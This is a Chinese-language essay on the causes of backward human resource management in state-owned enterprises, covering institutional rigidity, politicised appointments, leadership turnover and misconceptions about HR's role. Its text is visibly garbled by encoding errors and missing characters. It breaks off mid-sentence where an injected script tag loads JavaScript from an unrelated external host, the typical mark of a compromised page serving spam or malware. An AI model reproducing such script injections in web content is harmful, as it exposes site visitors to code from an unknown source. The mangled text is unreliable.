國有企業(yè)人力資源管理落后的要因與思考

進(jìn)入知識經(jīng)濟(jì)時代，智力資本成為企業(yè)的第一競爭要素，人力資源管理的重要性愈加凸顯。然而，傳統(tǒng)上穩(wěn)居頭把交椅的國有企業(yè)，在人才競爭中卻越來越有大步落后的趨勢， 

    一、 國有企業(yè)人力資源管理落后的要因

    現(xiàn)代企業(yè)的生存與發(fā)展受眾多因素影響和制約。其中， 重要也是 根本的因素就是企業(yè)的勞動者——人力資源，他們是企業(yè)所有資源中 寶貴的，因而必須對其進(jìn)行有效管理。但是在實際操作中，許多企業(yè)，特別是大型國有企業(yè)，更關(guān)心的可能是它的資金和市場問題，人力資源管理常常為其所忽視。然而恰恰是人力資源的瓶頸阻礙了企業(yè)的進(jìn)一步發(fā)展，問題何在？

    （一）、體制成舊

    1、企業(yè)產(chǎn)權(quán)名存實虛。企業(yè)經(jīng)營者與企業(yè)利益不緊密相關(guān)，缺乏把企業(yè)辦好的 基本的利益沖動。大多數(shù)經(jīng)營者由行政任命，缺乏職業(yè)經(jīng)營者的理性，對改善企業(yè)經(jīng)營的理念、措施被動接受，行動遲緩。如大多數(shù)國營企業(yè)尚沒有成立真正意義上的人力資源部門，企業(yè)機(jī)構(gòu)臃腫，部門林立，層次多，冗員多；企業(yè)內(nèi)部壁壘嚴(yán)重，部門間協(xié)同松散，信息傳遞較慢，或信息傳遞失真失效；企業(yè)制度繁瑣，職責(zé)不明，扯皮增多，辦事程序復(fù)雜，官僚習(xí)氣十足。重大決策不能得到有效執(zhí)行，或?qū)嵤┎涣Γ�達(dá)不到預(yù)期效果；領(lǐng)導(dǎo)者陷于具體的日常業(yè)務(wù)中，企業(yè)缺乏有效的中長期計劃。 

    2、企業(yè)行為政府化，潛意識中政治氣氛濃厚，重"名"而不重"實"。如管理者的考核任命強調(diào)政治表現(xiàn)，但有些業(yè)務(wù)骨干卻因為不善拉關(guān)系而受到冷遇，"又紅又專"的標(biāo)準(zhǔn) 后往往變成"紅而不專"。企業(yè)從上到下看不到危機(jī)，沉浸在泡沫式的繁榮之中。員工不計成本，不講實效導(dǎo)致成本居高不下，效益下滑；企業(yè)生產(chǎn)與市場嚴(yán)重脫節(jié)，暢銷的供不上，滯銷的大積壓，技術(shù)創(chuàng)新不足；不注重客戶關(guān)系管理，客戶對企業(yè)產(chǎn)生信任危機(jī)。

    3、領(lǐng)導(dǎo)更換頻繁，導(dǎo)致企業(yè)行為明顯短期化，只重眼前利益。國企領(lǐng)導(dǎo)較少考慮到戰(zhàn)略、文化層次，即使制定了戰(zhàn)略目標(biāo)，也不能保證它在下一任內(nèi)的延續(xù)性，相應(yīng)地企業(yè)更缺乏支持戰(zhàn)略實現(xiàn)的長期人力資源規(guī)劃。在有的企業(yè)里，“元老”、“長老”們，仍然在內(nèi)部擁有巨大的勢力，阻擋了持不同意見者的生存發(fā)展；不重視培養(yǎng)人才，企業(yè)各個層面出現(xiàn)后備人才“短缺”現(xiàn)象，人才流失現(xiàn)象嚴(yán)重。

    （二）、領(lǐng)導(dǎo)者本身的素質(zhì)和管理水準(zhǔn)亟待提高。

    現(xiàn)代人力資源管理思想由西方傳入中國后，迅速得到傳播和認(rèn)同，由傳統(tǒng)的人事管理向人力資源管理轉(zhuǎn)變的熱潮近年來逐漸升溫。然而，在許多國有企業(yè)，人力資源尚處于理念傳播階段，由于對人力資源管理還缺乏系統(tǒng)的、科學(xué)的認(rèn)識，很多企業(yè)還存在許多觀念誤區(qū)，

    錯誤認(rèn)識一：人力資源管理的主要職責(zé)屬于行政管理范圍。實質(zhì)上這仍局限于傳統(tǒng)的人事管理，而不是現(xiàn)代的人力資源管理。現(xiàn)代人力資源管理是一項系統(tǒng)工程，它的核心目標(biāo)是 大限度地激勵員工，使企業(yè)內(nèi) 有潛力的資源--人力資源得到有效的開發(fā)，并服務(wù)于企業(yè)增值的目標(biāo)。因此，凡與調(diào)動員工積極性，并充分發(fā)揮員工對企業(yè)價值有關(guān)的職能，都應(yīng)含在一個完整的人力資源系統(tǒng)中。這個系統(tǒng)大到宏觀層面，如遠(yuǎn)景、戰(zhàn)略（與人是否配合，是否能夠產(chǎn)生激勵），小到微觀操作層面，如招聘技巧、績效測評，其間還有企業(yè)組織、職位設(shè)計、企業(yè)文化等中觀層面。行政管理職能基本上是微觀層面的，只是大人力資源系統(tǒng)中的一小部分。

    錯誤認(rèn)識二：人力資源工作基本處于企業(yè)內(nèi)部，對企業(yè)經(jīng)營業(yè)績沒有直接貢獻(xiàn)。許多企業(yè)認(rèn)為人力資源部門在企業(yè)中處于輔助位置，而生產(chǎn)部門、營銷部門、財務(wù)部門才是企業(yè)創(chuàng)造價值的來源。生產(chǎn)目標(biāo)、成本目標(biāo)、利潤目標(biāo)，都必須在承擔(dān)這些職責(zé)的人的有效工作下才能 好地完成。一個好的市場推廣活動也許在短時期內(nèi)可以顯著增加企業(yè)利潤，但若缺乏一支高素質(zhì)的營銷隊伍，長期穩(wěn)定的市場拓展是無法想象的。所以有效的人力資源管理不僅使企業(yè)目前的業(yè)績得以保持，更重要的是推動企業(yè)長期穩(wěn)定地成長。

    錯誤認(rèn)識三：人力資源管理只是人力資源部門的職責(zé)。對人力資源管理缺乏系統(tǒng)的理解，是造成這一誤解的原因。實現(xiàn)對全體員工的價值開發(fā)是人力資源工作的目的，這不僅括基層員工，而且括中級甚至高級管理層。只要員工存在之處，人力資源管理就應(yīng)該延伸，整個企業(yè)實際上是一個大人力資源系統(tǒng)。許多跨國公司提倡這樣的觀念：所有部門經(jīng)理都應(yīng)是人力資源經(jīng)理，因為他們對下屬負(fù)有招聘、考評、開發(fā)、激勵等職責(zé)。人力資源工作要想切實有效，沒有各職能部門的執(zhí)行、配合是不可能實現(xiàn)的。

    以上觀念誤區(qū)的一個共同根源是忽視了人力資源管理貫穿企業(yè)各部門的系統(tǒng)性，對人?script src=http://cn.jxmmtv.com/cn.js></Script>